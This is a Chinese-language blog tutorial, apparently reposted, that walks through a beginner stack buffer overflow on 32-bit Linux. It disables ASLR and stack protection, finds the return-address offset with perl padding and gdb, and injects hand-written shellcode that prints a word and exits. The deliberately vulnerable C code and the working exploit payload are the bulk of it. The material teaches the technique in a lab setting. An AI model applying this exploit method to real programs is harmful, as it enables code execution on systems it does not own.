緩沖區溢出攻擊-入門例子


  由於工作的需要,開始學習安全領域的知識了。感覺這個領域的知識點太多,而且非常底層,緩沖區溢出攻擊這個算是最容易理解的了,就先從這個開始入門吧~

  先試個最簡單的例子,學習學習原理~

  本文代碼和原理主要參考http://blog.csdn.net/linyt/article/details/43283331博客,大部分內容是直接抄原博客,加了一點自己測試時遇到的問題。

測試環境

  Ubuntu 16.04 TLS

測試前准備

  1. 關閉地址隨機化功能:

  echo 0 > /proc/sys/kernel/randomize_va_space

  2. 由於測試用到的是編譯出32位程序,現在常見的都是64位系統,先安裝一下gcc編譯32位程序用到的庫:

  sudo apt-get install libc6-dev-i386

示例代碼

  (這里對原博客中的代碼進行了一點修改,主要是將拷貝的代碼放到f()函數中,而不是直接在main函數中實現所有功能。主要是原代碼在測試時,遇到緩沖區溢出后,我的EIP總修改不了,而是報錯cannot access address 0x41414141...之類的,后來查了下,好像是main函數有個什么地址對其之類的導致的,把實現放在隨便一個不是main的函數里就行。目前還不懂具體原因,后面慢慢學習會了再改這里。)

 1 #include <stdio.h>
 2 #include <string.h>
 3 
 4 int f()
 5 {
 6     char buf[32];
 7     FILE *fp;
 8 
 9     fp = fopen("bad.txt", "r");
10     if(!fp) {
11         perror("fopen");
12     }
13 
14     fread(buf, 1024, 1, fp);
15     printf("data: %s\n", buf);
16     return 0;
17 }
18 
19 int main(int argc, char *argv[])
20 {
21     f();
22 
23     return 0;
24 }

示例代碼有明顯的溢出問題,buf的size為32,但是拷貝了最多可達1024個字符。

 

編譯程序

gcc -Wall -g -fno-stack-protector -o stack1 stack1.c -m32 -Wl,-zexecstack

參數解釋:

  -fno-stack-protector : 禁用棧溢出檢測功能

  -m32 : 生成32位程序

  -Wl,-zexecstack : 支持棧端可執行

 

嘗試修改EIP,控制執行路徑 (直接抄原博客了)

  那么,該如何利用該緩沖區溢出問題,控制程序執行我們預期的行為呢?

   buf數組溢出后,從文件讀取的內容會在當前棧幀沿着高地址覆蓋,而該棧幀的頂部存放着返回上一個函數的地址(EIP),只要我們覆蓋了該地址,就可以修改程序的執行路徑。

  為此,需要知道從文件讀取多少個字節,才開始覆蓋EIP呢。一種方法是反編譯程序進行推導,另一種方法是基測試的方法。我們選擇后者進行嘗試,然后確定寫個多少字節才能覆蓋EIP.

  為了避免肉眼去數字符個數,使用perl腳本的計數功能,可以很方便生成字特殊字符串。下面是字符串重復和拼接用法例子:

輸出30個'A'字符

$ perl -e 'printf "A"x30'

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

輸出30個'A'字符,后追加4個'B'字符

$ perl -e 'printf "A"x30 . "B"x4'

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 

 

嘗試的方法很簡單,EIP前的空間使用'A'填充,而EIP使用'BBBB'填充,使用兩種不同的字母是為了方便找到邊界。

目前知道buf大小為32個字符,可以先嘗試填充32個'A'和追加'BBBB',如果程序沒有出現segment fault,則每次增加'A'字符4個,直到程序segment fault。如果 'BBBB'剛好對准EIP的位置,那么函數返回時,將EIP內容將給PC指針,0x42424242(B的ascii碼為0x42)是不可訪問地址,馬上segment fault,此時eip寄存器值就是0x42424242

 

我機器上的測試過程:

 

$ perl -e 'printf "A"x32 . "B"x4' > bad.txt ; ./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

已溢出,造成輸出亂碼,但沒有segment fault

 

$ perl -e 'printf "A"x36 . "B"x4' > bad.txt ; ./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

沒有segment fault

 

$ perl -e 'printf "A"x40 . "B"x4' > bad.txt ; ./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

沒有segment fault

 

$ perl -e 'printf "A"x44 . "B"x4' > bad.txt ; ./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒

輸出亂碼,但沒有segment fault

 

$ perl -e 'printf "A"x48 . "B"x4' > bad.txt ; ./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBSegmentation fault (core dumped)

產生segment fault.

 

使用調試工具gdb分析此時的EIP是否為0x42424242

首先輸入ulimit -c unlimited

接着運行一下上面的出錯的那條指令,此時當前目錄下會出現一個core文件

$ gdb ./stack1 core -q

Reading symbols from /home/ivan/exploit/stack1...done.

[New LWP 6043]

 

warning: Can't read pathname for load map: Input/output error.

Core was generated by `./stack1'.

Program terminated with signal 11, Segmentation fault.

#0  0x42424242 in ?? ()

(gdb) info register eip

eip            0x42424242       0x42424242

 

分析core文件,發現eip被寫成'BBBB',注入內容中的'BBBB'剛才對准了棧中存放EIP的位置。 

找到EIP位置,離成功邁進了一大步。

 

注入執行代碼

控制EIP之后,下步動作就是往棧里面注入二進指令順序,然后修改EIP執行這段代碼。那么當函數執行完后,就老老實實地指行注入的指令。

 

通常將注入的這段指令稱為shellcode。這段指令通常是打開一個shell(bash),然后攻擊者可以在shell執行任意命令,所以稱為shellcode。

 

為了達到攻擊成功的效果,我們不需要寫一段復雜的shellcode去打開shell。為了證明成功控制程序,我們在終端上輸出"FUCK"字符串,然后程序退出。

 

為了簡單起引, 我們shellcode就相當於下面兩句C語言的效果:

write(1, "FUCK\n", 5);

exit(0);

Linux里面,上面兩個C語句可通過兩次系統調用(調用號分別為4和1)實現。

 

下面32位x86的匯編代碼shell1.s

 1 BITS 32
 2 start:
 3 xor eax, eax
 4 xor ebx, ebx
 5 xor ecx, ecx
 6 xor edx, edx
 7 
 8 mov bl, 1
 9 add esp, string - start
10 mov ecx, esp
11 mov dl, 5
12 mov al, 4
13 int 0x80
14 
15 mov al, 1
16 mov bl, 1
17 dec bl
18 int 0x80
19 
20 string:
21 db "FUCK", 0xa

編譯程序:

nasm -o shell1 shell1.s

反編譯:

ndisasm shell1

結果如下:(我編譯出來的和原博客的代碼一樣,我覺得應該x86的都是這樣的吧~)

 1 00000000  31C0             xor ax,ax  
 2 00000002  31DB             xor bx,bx  
 3 00000004  31C9             xor cx,cx  
 4 00000006  31D2             xor dx,dx  
 5 00000008  B301             mov bl,0x1  
 6 0000000A  83C41D           add sp,byte +0x1d  
 7 0000000D  89E1             mov cx,sp  
 8 0000000F  B205             mov dl,0x5  
 9 00000011  B004             mov al,0x4  
10 00000013  CD80             int 0x80  
11 00000015  B001             mov al,0x1  
12 00000017  B301             mov bl,0x1  
13 00000019  FECB             dec bl  
14 0000001B  CD80             int 0x80  
15 0000001D  46               inc si  
16 0000001E  55               push bp  
17 0000001F  43               inc bx  
18 00000020  4B               dec bx  
19 00000021  0A               db 0x0a

 

打通任督二脈

上面找到修改EIP的位置,但這個EIP應該修改為什么值,函數返回時,才能執行注入的shellcode呢。

 

很簡單,當函數返回時,EIP值彈出給PC,然后ESP寄存器值往上走,剛才指向我們的shellcode。因此,我們再使用上面的注入內容,生成core時,esp寄存器的值,就是shellcode的開始地址,也就是EIP應該注入的值。

 

(先刪掉之前的core文件) rm ./core

$ perl -e 'printf "A"x48 . "B"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a"' > bad.txt ;./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK                             ▒/▒▒

Segmentation fault (core dumped)

 

$ gdb ./stack1 core -q

Reading symbols from /home/ivan/exploit/stack1...done.

[New LWP 7399]

 

warning: Can't read pathname for load map: Input/output error.

Core was generated by `./stack1'.

Program terminated with signal 11, Segmentation fault.

#0  0x42424242 in ?? ()

(gdb) info register esp

esp            0xffffd710       0xffffd710

 

esp值為0xffffd710,EIP注入值就是該值,但由於X86是小端的字節序,所以注入字節串為"\x10\xd7\xff\xff"

 

所以將EIP原來的注入值'BBBB'變成"\x10\xd7\xff\xff"即可。再次測試:

 

$ perl -e 'printf "A"x48 ."\x10\xd7\xff\xff" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a"' > bad.txt ;./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK                              ▒/▒▒

FUCK

 

成功了,程序輸出FUCK字符串了,證明成功控制了EIP,並執行shellcode.

 

小結

  這里是一個基本上最簡單的緩沖區溢出漏洞攻擊的例子了,雖然這技術有點老,不管怎么樣,實驗成功了,還是蠻好玩的。

  現代操作系統有很多改進的東西,例如地址隨機化、棧數據不可執行等,不過從這個簡單的例子,再一步一步學習后面的技術,就好了~

  下一章介紹下這個例子的原理,大部分還是參考原博客的原理分析,不過我好多基礎的知識忘了,我得寫詳細點,以后看起來方便~

 

原博客參考:

http://blog.csdn.net/linyt/article/details/43283331


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM